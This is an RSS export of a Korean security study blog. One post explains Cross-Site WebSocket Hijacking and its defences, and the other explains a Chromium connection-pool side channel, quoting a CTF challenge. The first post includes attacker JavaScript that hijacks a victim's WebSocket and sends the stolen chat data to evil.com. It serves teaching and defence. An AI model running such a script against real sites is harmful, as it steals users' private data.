<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
  <channel>
    <title>y3onbug5 님의 블로그</title>
    <link>https://yeonbugs.tistory.com/</link>
    <description>y3onbug5 님의 블로그 입니다.</description>
    <language>ko</language>
    <pubDate>Mon, 11 May 2026 06:02:36 +0900</pubDate>
    <generator>TISTORY</generator>
    <ttl>100</ttl>
    <managingEditor>y3onbug5</managingEditor>
    <image>
      <title>y3onbug5 님의 블로그</title>
      <url>https://tistory1.daumcdn.net/tistory/8403420/attach/48d3cd8d94d84905ba25c6f8a48e93fa</url>
      <link>https://yeonbugs.tistory.com</link>
    </image>
    <item>
      <title>CSWSH</title>
      <link>https://yeonbugs.tistory.com/172</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;BackGround&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;HTTP vs WebSocket&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;HTTP&lt;/b&gt;: 요청(Request) &amp;rarr; 응답(Response)으로 끝나는 &lt;b&gt;단발 통신&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;WebSocket&lt;/b&gt;: 한 번 연결을 맺으면, 그 뒤에는 &lt;b&gt;연결을 유지한 채 양방향으로 실시간 메시지를 주고받는 통신&lt;/b&gt;&lt;b&gt;&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;table style=&quot;border-collapse: collapse; width: 56.0465%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 13.217%;&quot;&gt;특징&lt;/td&gt;
&lt;td style=&quot;width: 20.5426%;&quot;&gt;HTTP&lt;/td&gt;
&lt;td style=&quot;width: 22.2868%;&quot;&gt;WebSocket&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 13.217%;&quot;&gt;통신 방향&lt;/td&gt;
&lt;td style=&quot;width: 20.5426%;&quot;&gt;단방향 (Half-duplex)&lt;/td&gt;
&lt;td style=&quot;width: 22.2868%;&quot;&gt;양방향 (Full-duplex)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 13.217%;&quot;&gt;연결 상태&lt;/td&gt;
&lt;td style=&quot;width: 20.5426%;&quot;&gt;Stateless (상태없음)&lt;/td&gt;
&lt;td style=&quot;width: 22.2868%;&quot;&gt;Sateful (상태유지)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 13.217%;&quot;&gt;헤더 크기&lt;/td&gt;
&lt;td style=&quot;width: 20.5426%;&quot;&gt;큼 (매번 전송)&lt;/td&gt;
&lt;td style=&quot;width: 22.2868%;&quot;&gt;작음 (연결 시에만 전송)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 13.217%;&quot;&gt;실시간성&amp;nbsp;&lt;/td&gt;
&lt;td style=&quot;width: 20.5426%;&quot;&gt;낮음 (Polling 필요)&lt;/td&gt;
&lt;td style=&quot;width: 22.2868%;&quot;&gt;매우 높음&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;WebSocket의 연결 과정 (Upgrade 요청)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;클라이언트 요청&lt;/b&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1777385237788&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;GET /connect HTTP/1.1
Upgrade: websocket         
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ= // 프록시 캐싱 방지   
Origin: http://yeonbug.com 
Cookie: session=abc1234&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;서버 응답&lt;/b&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1777385260820&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;HTTP/1.1 101 Switching Protocols 
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=&lt;/code&gt;&lt;/pre&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;CSWSH&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Cross-Site WebSocket Hijacking의 약자로, WebSocket 자체를 공격자가 가로채는 것이다.&lt;/li&gt;
&lt;li&gt;CSWSH는 공격자가 &lt;b&gt;피해자의 브라우저를 이용&lt;/b&gt;해 피해사이트 &lt;b&gt;WebSocket 엔드포인트에 연결&lt;/b&gt;하고, &lt;b&gt;서버가 쿠기 기반 인증을 그대로 신뢰&lt;/b&gt;할 경우 공격자가 피해자 권한으로 WebSocket 통신을 수행하게 되는 취약점이다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;즉, CSWSH는 WebSocket 핸드셰이크 단계에서 발생하는 CSRF 취약점&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;CSRF와 CSWSH&lt;/h3&gt;
&lt;table style=&quot;border-collapse: collapse; width: 86.8605%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 15.2597%;&quot;&gt;구분&lt;/td&gt;
&lt;td style=&quot;width: 31.2338%;&quot;&gt;CSRF&lt;/td&gt;
&lt;td style=&quot;width: 40.1741%;&quot;&gt;CSWSH&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 15.2597%;&quot;&gt;&lt;b&gt;대상 프로토콜&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 31.2338%;&quot;&gt;HTTP&lt;/td&gt;
&lt;td style=&quot;width: 40.1741%;&quot;&gt;WebSocket&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 15.2597%;&quot;&gt;&lt;b&gt;통신 방식&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 31.2338%;&quot;&gt;단방향&lt;/td&gt;
&lt;td style=&quot;width: 40.1741%;&quot;&gt;양방향&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 15.2597%;&quot;&gt;&lt;b&gt;지속성&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 31.2338%;&quot;&gt;요청 한 번으로 끝남&lt;/td&gt;
&lt;td style=&quot;width: 40.1741%;&quot;&gt;연결이 끊기기 전까지 지속&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 15.2597%;&quot;&gt;&lt;b&gt;데이터 탈취&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 31.2338%;&quot;&gt;거의 불가능&lt;/td&gt;
&lt;td style=&quot;width: 40.1741%;&quot;&gt;매우 쉬움&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 15.2597%;&quot;&gt;&lt;b&gt;공격 목표&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 31.2338%;&quot;&gt;비밀번호 변경, 게시글 작성 등 특정 액션&lt;/td&gt;
&lt;td style=&quot;width: 40.1741%;&quot;&gt;실시간 채팅 가로채기, 계좌 정보 실시간 모니터링 등&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;CSRF&lt;/b&gt;: SOP 때문에 다른 도메인에서 온 응답을 JavaScript가 읽지 못하게 막음&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;rarr; 그래서 CSRF는 응답은 못 봐도 실행만 시키는 것을 목적으로 함&lt;/li&gt;
&lt;li&gt;&lt;b&gt;CSWSH&lt;/b&gt;: WebSocket에서는 SOP의 제한을 받지 않음. 따라서 연결만 되면 통로를 통해 실시간 데이터를 읽고, 마음대로 명령을 내릴 수 있음&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;b&gt;CSRF의 흐름&lt;/b&gt;&lt;/blockquote&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;(피해자) 공격자 사이트 클릭 &amp;rarr; 브라우저가 Bank.com/transfer 로 돈 보내라고 요청함 (쿠키 포함)&lt;/li&gt;
&lt;li&gt;(서버) &quot;어? 피해자 쿠키네? 돈 보낼게 ~&quot; &amp;rarr;&amp;nbsp; 끝&amp;nbsp;&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;b&gt;CSWSH의 흐름&lt;/b&gt;&lt;/blockquote&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;(피해자) 공격자 사이트 클릭 &amp;rarr; 브라우저가 Bank.com/chat 으로 WebSocket 연결 요청 (쿠키 포함)&lt;/li&gt;
&lt;li&gt;(서버) &quot;어? 피해자 쿠키네? 연결해줄게&quot;&lt;/li&gt;
&lt;li&gt;(공격자) &quot;연결 성공!&quot; 이제부터 이 채팅방의 모든 내용은 내 서버로 복사 &amp;rarr; 지속적인 감시 시작&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;CSWSH 시나리오&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;936&quot; data-origin-height=&quot;533&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bijSAz/dJMcadV5XOz/8CfH8cPukRkXNFG5yNUnBk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bijSAz/dJMcadV5XOz/8CfH8cPukRkXNFG5yNUnBk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bijSAz/dJMcadV5XOz/8CfH8cPukRkXNFG5yNUnBk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbijSAz%2FdJMcadV5XOz%2F8CfH8cPukRkXNFG5yNUnBk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;735&quot; height=&quot;419&quot; data-origin-width=&quot;936&quot; data-origin-height=&quot;533&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1.&lt;b&gt; 공격자 사이트 (evil.com) 구축&lt;/b&gt;&lt;br /&gt;&amp;nbsp; &amp;nbsp; 공격자는 사이트를 구축하면서 다음과 같은 자바스크립트를 작성한다.&lt;/p&gt;
&lt;pre id=&quot;code_1777385905361&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;// 피해자의 브라우저에서 실행될 악성 스크립트
const socket = new WebSocket('wss://bank.com/chat');
socket.onopen = function() {
    // 연결되자마자 서버에 민감한 정보(예: 채팅 기록)를 요청함
    socket.send(JSON.stringify({ action: &quot;get_chat_history&quot; }));
};
socket.onmessage = function(event) {
    // 서버가 보내준 채팅 기록을 가로채서 공격자의 서버로 재전송
    fetch('https://evil.com/steal?data=' + btoa(event.data));
};&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. &lt;b&gt;피해자가 공격자 사이트 접속&lt;/b&gt;&lt;br /&gt;&amp;nbsp; &amp;nbsp; 피해자가 공격자 사이트 (evil.com) 접속하는 순간, 공격자 사이트에 작성된 스크립트가 피해자의 브라우저에서 실행된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3.&lt;b&gt; 공격자의 WebSocket 요청&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; &amp;nbsp; 피해자의 브라우저는 스크립트 명령에 따라 bank.com으로 WebSocket 연결 요청을 보낸다.&lt;/p&gt;
&lt;pre id=&quot;code_1777386005036&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;GET /chat HTTP/1.1
Host: bank.com
Upgrade: websocket
Connection: Upgrade
Origin: https://evil.com 
Cookie: session_id=Victim_ABC123&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;4. &lt;b&gt;서버 승인&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; &amp;nbsp; bank.com 서버는 이 요청을 받고, Cookie 헤더만 보고 &quot;피해자가 WebSocket 요청을 보냈구나&quot; 라고 착각하고 승인함&lt;/p&gt;
&lt;pre id=&quot;code_1777386045882&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;5. &lt;b&gt;데이터 탈취&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; &amp;nbsp; 연결되었을 때 실행되는 공격자의 스크립트로 인해 응답 데이터를 공격자 서버로 전송해 데이터 탈취&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;발생 원인&lt;/h2&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;1. 브라우저의 자동 쿠키 전송&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;특정 도메인으로 요청을 보낼 때, 그 요청이 누가 시켜서 보낸 것인지 따지지 않고 해당 도메인의 쿠키를 자동으로 헤더에 포함시킴&lt;/li&gt;
&lt;li&gt;공격자 사이트(evil.com)에 심어진 스크립트가 bank.com으로 WebSocket 연결을 요청하면, 브라우저는 피해자의 로그인 세션이 담긴 쿠키를 자동으로 실어 보냄&lt;/li&gt;
&lt;li&gt;서버는 요청에 담긴 쿠키를 보고 로그인 한 사용자라고 믿어버림&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;2. Origin 검증 누락&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;브라우저는 Cross-Site 요청 시, 요청이 어디서 시작되었는지 알려주는 Origin 헤더를 포함시킴&lt;/li&gt;
&lt;li&gt;WebSocket 라이브러리나 서버 설정에서 기본적으로 Origin 헤더를 검사하지 않거나, 모든 출처(*)를 허용하도록 함&lt;/li&gt;
&lt;/ul&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;보안 방법&lt;/h2&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;1. SameSite 쿠키 속성&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;SameSite = Lax : WebSocket 핸드셰이크 (GET 요청)에서도 기본적으로 쿠키 전송을 차단&lt;/li&gt;
&lt;li&gt;SameSite = Strict : 오직 같은 도메인에서만 쿠키 전송&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;우회가능성&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;SameSite는 eTLD + 1을 기준으로 하는데, 만약 공격자가 같은 도메인의 다른 서브 도메인을 사용한다면 방어 효과가 없음&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;b&gt;eTLD (Effective Top-Level Domain) + 1&lt;/b&gt;&lt;/blockquote&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;eTLD: .com , .net , .co.kr , gihub.io 같이 공인된 최상위 도메인 목록&lt;/li&gt;
&lt;li&gt;eTLD +1: 그 앞의 이름까지 포함된 것&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;login.bank.com = mail.bank.com 은 Same-Site&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;bank.com과 evil.com 은 Cross-Site&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;2. Origin 헤더 검증&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;서버에서 내가 허용한 도메인에서 온 요청인지 확인&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;b&gt;우회 가능성&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;&lt;span style=&quot;color: #000000;&quot;&gt;불완전한 정규표현식 (Weak Regex)&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;span style=&quot;color: #000000;&quot;&gt;origin.contains(&quot;bank.com&quot;), origin.startsWith(&quot;https://bank.com&quot;)와 같이 작성 시 https://bank.com.evil.com이나 http://bank.com-security.net 같은 도메인을 만들어 우회 &amp;rarr; 문자열 정확히 일치하는지 확인&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Null Origin 허용&lt;/b&gt;&lt;br /&gt;로컬 환경을 위해 if(origin == null) 일 때 연결을 허용하는 경우&lt;br /&gt;공격자는 &amp;lt;iframe&amp;gt;의 sandbox 속성을 이용해 브라우저가 Origin:null 을 보내게 강제할 수 있음 &amp;rarr; null 값 허용 x&lt;/li&gt;
&lt;li&gt;&lt;b&gt;서브 도메인 과잉 신뢰&lt;br /&gt;&lt;/b&gt;*.bank.com을 허용하면, 보안이 취약한(test.bank.com) 탈취 시 메인 서비의 웹 소켓도 함께 위험해짐 &amp;rarr; 필요한 서브 도메인만 허용&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;3. CSRF 토큰&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;HTTP에서 CSRF 방어와 동일하게 일회용 토큰 사용&lt;br /&gt;웹 소켓 연결을 요청할 때 서버가 발급한 토큰을 포함 &amp;rarr; 서버는 세션과 토큰이 일치하는 확인&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;우회 가능성&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;XSS&lt;/b&gt;: 사이트 내에 XSS 취약점이 있다면 토큰을 훔쳐서 사용 가능&lt;/li&gt;
&lt;li&gt;&lt;b&gt;토큰 노출&lt;/b&gt;: URL 파라미터로 토큰을 보내면 히스토리나 로그에 토큰이 남을 수 있음&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;한 가지 방어 기법에 의존하지 말고, Origin헤더 확인, CSRF 토큰, SameSite 쿠키를 결합해서 사용하는 심층 방어가 정석&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;참고 문헌&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://portswigger.net/web-security/websockets/cross-site-websocket-hijacking&quot;&gt;https://portswigger.net/web-security/websockets/cross-site-websocket-hijacking&lt;/a&gt; -PortSwigger&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://datatracker.ietf.org/doc/html/rfc6455&quot;&gt;https://datatracker.ietf.org/doc/html/rfc6455&lt;/a&gt; - RFC5455&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://www.hahwul.com/cullinan/attack/cswsh/&quot;&gt;https://www.hahwul.com/cullinan/attack/cswsh/&lt;/a&gt; -HAHWUL&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://www.christian-schneider.net/blog/cross-site-websocket-hijacking/&quot;&gt;https://www.christian-schneider.net/blog/cross-site-websocket-hijacking/&lt;/a&gt; - Christian Schneider&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://cheatsheetseries.owasp.org/cheatsheets/WebSocket_Security_Cheat_Sheet.html&quot;&gt;https://cheatsheetseries.owasp.org/cheatsheets/WebSocket_Security_Cheat_Sheet.html&lt;/a&gt; -OWASP&lt;/p&gt;</description>
      <category>Web Study</category>
      <category>web</category>
      <category>web hacking</category>
      <category>Web Study</category>
      <author>y3onbug5</author>
      <guid isPermaLink="true">https://yeonbugs.tistory.com/172</guid>
      <comments>https://yeonbugs.tistory.com/172#entry172comment</comments>
      <pubDate>Tue, 28 Apr 2026 23:40:35 +0900</pubDate>
    </item>
    <item>
      <title>XSS-Leaks: Leaking Cross-Origin Redirects</title>
      <link>https://yeonbugs.tistory.com/171</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;XSS-Leak&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Cross-Site-Subdomain Leak에서 따온 이름&lt;/li&gt;
&lt;li&gt;Chromium 기반 브라우저(Chrome, Edge 등)에서 Cross-Origin Redirects 목적지, fetch() 요청의 도메인 등을 누출할 수 있는 사이드 채널 공격&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;원래 목적이 Cross-Origin 요청의 서브도메인을 누출하는 것이 목표였기 때문에 XSS-Leak이라는 이름을 붙였다고 한다.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;Background&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Chrome의 커넥션 풀(Connection Pool)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;브라우저는 웹 요청을 보낼 때, 내부에 동시에 처리할 수 있는 통로(소켓/커넥션)가 제한되어 있다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Chrome은 전체 브라우저에서 최대 256개의 동시 네트워크 요청을 처리할 수 있음&lt;/li&gt;
&lt;li&gt;같은 오리진(Same-Origin)에서는 최대 6개까지 병렬 처리가 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;핵심 동작 - 요청 정렬 방식&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Chrome은 요청마다 우선 순위가 있고, 보통은 높은 우선순위가 먼저 소켓/커넥션을 받는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;우선순위가 같을 때 &amp;ne;&lt;/b&gt; 선입선출(FIFO) 방식&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;Port(포트)&lt;/li&gt;
&lt;li&gt;Scheme(스킴)&lt;/li&gt;
&lt;li&gt;host(호스트) - 사전순(알파벳순)으로 더 작은 게 먼저 소켓을 받음&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예를 들어, http://example.com:80 과 http://google.com:80 이 같은 우선순위 대기 중이면, example.com이 google.com보다 사전순으로 앞이라서 example.com 요청이 먼저 소켓을 받는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이러한 정렬 동작이 바로 오라클(Oracle)이 된다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;내가 고른 호스트: example&lt;/li&gt;
&lt;li&gt;상대가 고른 호스트: google&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 동시에 소켓 1개를 두고 경쟁하게 만들면&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;example이 먼저면 &amp;rarr; 내 요청이 빨리 끝남&lt;/li&gt;
&lt;li&gt;google이 먼저면 &amp;rarr; 내 요청이 대기해서 늦게 끝남&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;즉, 어떤 요청이 먼저 처리되는지를 시간 측정으로 알아냄으로써, 알 수 없어야 할 호스트명을 추론할 수 있다&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;CTF Challenge - 서브도메인 누출&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문제: &lt;span&gt;&lt;/span&gt;&lt;a href=&quot;https://github.com/salvatore-abello/web-challenges/tree/main/X/salvatoreabello/exploit&quot;&gt;https://github.com/salvatore-abello/web-challenges/tree/main/X/salvatoreabello/exploit&lt;/a&gt;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;Route /&lt;/h4&gt;
&lt;pre id=&quot;code_1777290399522&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html lang=&quot;en&quot;&amp;gt;
&amp;lt;head&amp;gt;
    &amp;lt;meta charset=&quot;UTF-8&quot;&amp;gt;
    &amp;lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1.0&quot;&amp;gt;
    &amp;lt;title&amp;gt;challenge-01&amp;lt;/title&amp;gt;
    &amp;lt;p id=&quot;result&quot;&amp;gt;Hello World!&amp;lt;/p&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
    &amp;lt;script nonce=&quot;&amp;lt;%= nonce %&amp;gt;&quot;&amp;gt;
        const DOMAIN = &quot;&amp;lt;%= DOMAIN %&amp;gt;&quot;;
        const PORT = &quot;&amp;lt;%= PORT %&amp;gt;&quot;;

        const result = document.getElementById(&quot;result&quot;);

        const toHex = s =&amp;gt; [...new TextEncoder().encode(s)].map(b =&amp;gt; b.toString(16).padStart(2,'0')).join('');

        window.onhashchange = () =&amp;gt; {
            let flag = localStorage.getItem(&quot;flag&quot;) || &quot;flag{fake_flag_for_testing}&quot;;
            fetch(`http://${toHex(flag)}.${DOMAIN}:${PORT}`)
            .finally(() =&amp;gt; result.innerText = &quot;request sent&quot;)
        }
    &amp;lt;/script&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;&lt;/code&gt;&lt;/pre&gt;
